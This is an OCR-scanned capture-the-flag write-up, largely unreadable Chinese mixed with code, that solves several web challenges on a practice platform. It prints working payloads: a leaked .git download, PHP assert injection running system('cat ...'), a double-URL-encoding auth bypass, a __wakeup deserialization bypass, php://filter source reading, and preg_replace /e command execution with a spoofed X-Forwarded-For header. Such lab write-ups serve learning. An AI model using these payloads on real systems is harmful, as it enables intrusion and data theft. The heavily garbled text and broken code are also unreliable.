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Projectname  Home  About

Welcome to my website!
| wrote it myself from scratch!

You can use the links above to navigate through the pages!

fEabout M E R I, BEMWERAT git ,ZR—TREBN gitifEitE

Projectname  Home  About  Contact

About

| wrote this website all by myself in under a week!

| used:

« PHP
» Bootstrap

http://111.198.29.45:36544/.git
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i CTFEFRE AR CTFRI=E 35 FiEEE SQUENFHEE

Index of /.git

Name Last modified Size Description

3 Parent Directory, -
@ COMMIT_EDITMSG 2018-10-04 12:57 25

(7] HEAD 2018-10-04 12:57 23
(] branches/ 2018-10-04 12:57 -
[?) config 2018-10-04 12:57 92
[?) description 2018-10-04 12:57 73
3 hooks/ 2018-10-04 12:57 -
[?) index 2018-10-04 12:57 523
3 info/ 2018-10-04 12:57 -
2 logs/ 2018-10-04 12:57 -
(2 objects/ 2018-10-04 12:57 -
3 refs/ 2018-10-04 12:57 -

Apache/2.4.18 (Ubuntu) Server at 111.798.29.45 Fort 36544
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python2 GitHack.py http://111.198.29.45:36544/.git
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111.198.29.45_ GitHack.py index lib README.md
36544
root@kali: ~/ S M /a/git iR 5Lt 8 T A © 6 0
MH(F) fRIB(E) BE(V) HER(S) LR #EEiH)

-~/ /a/git T B # python2 GitHack.py http://111.198.29.45:3654
af.git/
[+] Download and parse index file ...
index.php

/about.php

/contact.php

/flag.php

/h php

ontact.php

BEEG, RAHEHfag

R =1 suzisdcbideablayestlt 4511 500495050240 LI | B 1ndex Ly =Y ilag. phpkd [=Y home. ¢
: 1 <?php
= about.php 9 TODO
= contact.php 3 SFLAG = '';
4 2>
= flag.php -
= home.php
HEFindexphp KN
H<?php
Cif (isset (5 1))
Spage = "1:
else
Spage = "home";
sfile = "templates/"™ . Spage . ".php":
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!")
// TODO: Make this look nice
assert("file exists('§file'}") or die("That file doesn't fx;e:J”)J
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FEA N GeT HEKSHHITIEIE, assert REHSHOAREAXT LLZE pHp STARIAT, B TH— T TR
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7T assert B, NEELIE, WA system() REBITEE XHS%



page=flag

m=a MY HD I TR T O v e 1 MY v Yy SUHE e ALt AN e

index.php templates index.php templates That file doesn't exist!

BFE templates

page=flag

< C © &= | 111.198.29.45:36544/?page=flag%20%27 .system("cd%20templates;ls").%27
o v: CTFREEFRIRIE, CTFRIZERM L FeEEE SQUEAFIEE

about.php contact.php flag.php home.php about.php contact.php flag.php home.php That file doesn't exist!

®JGEF flag.php

page=flag

C @ 4% | view-source:111.198.29.45:36544/?page=1flag%20%27 .system("cat%20templates/flag.php").%27
= CTFRREEIF RIS CTFRIEERA FifEE SQUENFIEE
1 <7php $FLAG="cyberpeace (da250af3adl8k4Ada2532¢0c3daB2dbal ™) 95

2 | <7php FFLAG="cyberpeace {da250af3adlBb46d82532¢9c3daB24ba} 7 7>
3| That file doesn’ t exist!

TEVRRS 1 EP ] & Bilflag
system i &3 W5 5
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| weblOO.php.J[E wehl 0o, htmlJlE ETEE g i = txtJlE 1. htnl el = weblooEd
1 |<script:)_=' function 3 () {ENe=[AeNgetEle@RyId("c") .value; A8length:

AT EREEFE T <script> EHREN, BHRLZ BN html
! RE CTFEESRTF Ik CTFRISER 3
Ok
WMEE T IBRBE Ak, %EEE R

—

n(pop W) eval( )</scpipt> ‘

RIS BRSEE —A eval () BREL BURAT DA K alert() BREOK A SRR 3 & 8w R

BRETHE JavaScript FEAFHR, HIEEENHARIERHAT
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function $({var
e=document.getElementByld("c").value;if(e.length==16)if(e.match(
/~be0f23/) =null)if(e.match(/233ac/) ! =null)ifle.match(/e98aa%/)!
=null)if(e.match{/c7bed/)!=null){var t=["fl","s_a","i","e}"];var
n=["a","_hol","n"Lvar r=["g{","e",”_0"Lvar i=["it"","_","n"];var
s=[t.n,ri];for(var 0=0;0<13;++0){document.write(s[0%4]
[0]);s[0%4].splice(0,1)}}}document.write(' <input id="c" = <button
onclick=%()>0k</button=");delete _

B

SUTIL) SMHEL) TEluA) BN reRuLy
function $(){var e=document.getElementByld("c").value;
if(e.length==16)

if(e.match(/*be0f23/)!=null)

if(e.match(/233ac/)!=null)

if(e.match(/e98aa$/)!=null)

if(e.match(/c7be9/)!=null)

{var t=["fl","s a","i","e}"];

var n=["a","_h0l","n"];

var r=["g{","e"," 0"];

vari=["it"," ","n"];

var s=[t,n,r,i];

for(var 0=0;0<13;++0)

{

document.write(s[0%4][0]);s[0%4].splice(0,1)

}

}

}

document.write(' <input id="c¢"> <button onclick=3%() > Ok </button>");
delete
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e=be@f23233ace98aa
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[ILd] A% L b nsr FILen
Y var t=[“'F1"J”S_a“_,"i”,“'e}“:lj

var n=["a"_,"_h@l","n"]_‘,

var r‘=["g{"1"e"J"_3"];

var j.=[“it“|,“_“,“n"];

var s=[t,n,r,i];
for(var 0=0;0<13;++0)

{
document.write(s[o%4][@]);s[o%4].splice(8,1)

}

Biw] 48 tiflag

PHP2
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Can you anthenticate to this website?

Haths, ma, Hea

fgidg: [http://111.198.29. 45:40639/ | FHATHE S48
#12: (10 o (& cPuL(, * SEfE) [ DIR: 1183 ASPX: 822 200
R ’ [] ASP: 1854 PHP: 1067 [[] =403
#i: |3 v | (¥ BRMNEEER) [ mws: 419 [ 13P: 631 [] &k
FEEE: FESE. HEEE: 0 R 00
1D Hitt HTTEAfl
1 [http://111.198. 29. 45:40639/index. php

RI index.php , EHREITFFIERZXANRE, HEIRX—T index.phps , RINA IR EE

{?php

if("admin”=—=$ GET[id]) {
echo ("<p’not allowed!</p>");
exit();

}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin”)
{
echo "<p>Access granted!</p>”;
echo "<prKey: xxxxxxx </p>”;

}
2

Can you anthenticate to this website?

XERE—T .phps 3

phps3C A2 php IVRARS S, B H AT RS, (iiEE) EFphpfid, FENH P Tk EEEIT WebHl % 43%E Blphp X HHHI A &
Bt A 7% 2 F phps SCAEARE

BT RAHTIRARG

[ i A 71 2R i A (B 5 2R A

RS AskEfkirRE iR

BT EMRAT AL ARAL

if("admin"===$_GET[id])



2D /I R X ATARES BOL
$ GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin")

BT P S 7E AR AT N B S B0 2 Xt JEAS CIIRS i) 7 4 34T — K urlencode

Fr CA¥ i payload B K F HF — AN FF urlencode BRI EP ]
payload:

http 111.198.29.45:40639/index.php?id=a%2564min

Biw] 45 Hiflag

unserialize3

C @ A=%£| 111.198.29.45:45028

WH CTREER 9RLE CTFlZ RS FEEE

class xctf{

public $flag = "1117;

public function wakeup(){
exit('bad requests’);

}

?code=

RAME BN EEE, REZSH UEEREE RFFILE

PHPEEE R EHFTE _ wakeup() AV, unserialize() SMERBFE— __wakeup() Hik. WRAELE, NWELHE
A wakeup() F¥E.

T H B R M iEpayload:

0:4 1:{s:4

X ctf i TH R 1 EP AR B AN 4

ROERERRA:
bad requests

XEREN _ wakeup() WM, FrllESeid  wakeup,

25 5 R M2 H KT 52k E B n] Seidwakeup 77 v (CVE-2016-7124)

& payload:

code=0:4 3:{s:4 s:3
B w] 45 Hiflag
7. B

REAR R R R MBI, REMFR . RHE, EANEA TN R, B YR B F public, protected B private 3k, &
J B — AN 18 A B 7S A SR 2 B



public $varé = myConstant

ics-05
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¢ Load URL (http://111.198.29.45:48273/index.php
i Split URL

Execute

Insert repla

[]Postdata [] Referrer 4 OxHEX ™» #% %URL ™ &% BASEe4 ™ Insert string to replace
hesm~ K Cookiesw # €SS+ [J==~ @EHE~ @WmEE- D=ttty Jindy FEmnr AT @ESFEAEY N5
HETCRAFT - Services-

ek RUNY Since: New Site Rank: 12268 Site Report lll [CN] China Unicom Beijing province network

ARSI

REIIER

ID E2 X1,

we. WHEMEEH2LER, Rti— T = FaR&4Eyr 0, KRURLEZRML

1URL rhttp:,f,-“l 11.198.29.45:48273/index.php?page=index|
t URL
cute

HI W 7 ¥ <

B4l ) MURL W 3%, URLHpath. dir. file. pag. page. archive. p. eng. &5 S ek IR A RHE , 7T BEFRAE OB SR o

Bt ASE I B % A S isis , FIFE php://filter HHCERAT

page=php filter/read=convert.base64-encode/resource=index.php



PD9waHAKZXJyb3JfemVwb3J0aW5nKDApOwoKQHNIc3Npb25fc3RhenQoKTsKcG9zaXhfc2VOdWIkKDEwMDApOwoKCjg+CjwhREODVFIQRSBIVE 1MPgo8aHRtbD4KCixoZWFkPgoglCAgPG1IdGEgY 2hhenNIdDOidXRmLTg
log73vvizpnlDopoHkvp3otZZIbGVtZW505qih5Z2XCiAgICAgICAgLY
Inm5HIkKzIr7zoiKrngrmnlh7sKICAgICAgICBIbGVEZW50LmYuK CduYXYoZGVtbyknLCBmdW5jdGlvbihbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZ WxIbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGYsZW0udGV4dCg
IPgoKICAgIDxiciAVPjxiciAvPjxiciAvPjxiciAvPgoglCAgPGRpdiBzdHIsZT0id GV4dC1hbGInbipjZW50ZXIiPgogl GAgICAgIDxwIGNsYXNzPSJsZWFk(j48P3BocCBIY 2hvICRwYWdIOyBkaWUoKTs
IPjwvcD4KICAgIDxiciAvPxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1IbHNlewoKPz4KICAgICAgICA8YnlgLz48YnlgLz48YnlgLz48YnlgLz4KICAgICAgICA8ZGI2IHNOe WxIPSJ0ZXhOLWF saWduOmNIbnRIcil+CiAgICAgICAgICA
IcGhwCgoglCAgICAgICAgICAgICAgaWYgKHNOcnBveygkcGFnZSwgJ2lucHV0JykgPiAWKSB7CiAgICAgICAgICAgGICAgICAgICAgQZGIIKCK7 CiAgICAgICAgGICAgICAgICBICgogICAgICAgICAgICAgICAgaWYgKHNOcnBveygkcC
/PgoglCAgICAgIDwvcD4KICAgICAgICA8YnlgLz48YnlgLz48YnlIgLz48YnlgLz4KCjw/cGhwCn19CgoKLy/mirnkvr/inmoTIrp7njrDovpPlhaXovpPlh7rnmoTlip
log70s5q2j5Zyo5byABY+R5Lit55qESYqf6I0977yMEY+q61095YaF6Y005Lg65ZGY5rWLEK+VCgppZiAoJFOTRVIJWRVIbJOhUVFBIWFIGT1JXQVJERURRKISJ10gPT09ICexMjcuMC4wLEnKSB7 CgoglCAgZWNobyAIPGJyIC
/PgoKPC9ib2R5PgoKPC90dG1sPgo= v

base64 /#3453 %] index.php G, FEIRIYH KILRE KA

[/ ERSEEH AR TIEE, EFEA RS HITIEE, REEAIEEA RN

Spattern = § GET[pat]:
Sreplacement = 5 GET[repl;
$subject = $ GET[subl;

= if (isset(Spattern) && isset(Sreplacement) && isset(Ssubject))
preg_replace (Spattern, Sreplacement, Ssubject);
telse!
die();

$_SERVER[ ] FRELIPHuHE
preg_replace($pattern, $replacement, $subject)
& subject HILEL pattern HIHE4, LL replacement #ATE#

$pattern: EHERKMERN, WTURFZRHFBER —NFRFEHH.,
$replacement: FiT 855 BB/ 504.
$subject: EEREBHRN HIRFR TR HRHA

XEREEE—NEF, preg_replace REFEEMNSIAITIRIF
preg_replace() A /e X, FEARBHATH A&

e FBIEFFE preg_replace() ¥ replacement 54 1E PHP A3 (FE& UM mEI HE®RTEZE) - #&5: EMR replacement fp—4
A PHP REBZRFE, BN PHP S7E#HR &SRS preg_replace() BIAT H HIIETEENT S R
Fr CAFI A X AR TR A] AT — e dp &

WA, BAEE 1P Hillkk 127.0.01, BEASASETE

pat=/1234/e&rep=system( )&sub=1234



Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

GET findex.php?pat=/1234/elrep=system('ls") &sub=1234 HTTP/1.1 :
Host: 111.198.29.45:48273 -00000000000000
User-Agent: Mozilla/s.0 (Windows NT 10.0; 4; rv:48.0) Geckof20100101 Firefox/d4E.0 oooooo

Accept: text/html application/xhtml+xml application =0.9 **q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5 en;q=0.3 ~ Welcome My Admin ! .

Accept-Encoding: gzip, deflate - css indexz hitml mdex php js layud lugu.pn1.sh 000.png
DNT: 1

Cookie: PHPSESSID=m3jlpgmaft2bbudsg3lagied21
X-Forwarded-For:127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

RI— MR S0 % s3chahahabir , #HTEE

pat=/1234/e&rep=system sub=1234

X BEHERSEAEZN, %o 8iE + KB, %26%26 KN &

APATERE), RIEZ &HATB

<br >Welcome My Admin ! <br >flag
</hody=

</html=

R flag XM, HITEFE

pat=/1234/e&rep=system sub=1234

<hr *Welcome My Admin ! <br =flag.php
<fhody=

</html=

¥/ cat W4 &EF flag.php

pat=/1234/e&rep=system sub=1234
Bi A48 tHflag

<br >Welcome My Admin ! <br ><?php
Hflag = ‘cyherpeace{73aab52067283f4e7badbic25feeiBaal,

P

B XKMEBLIXE, TREZLES!
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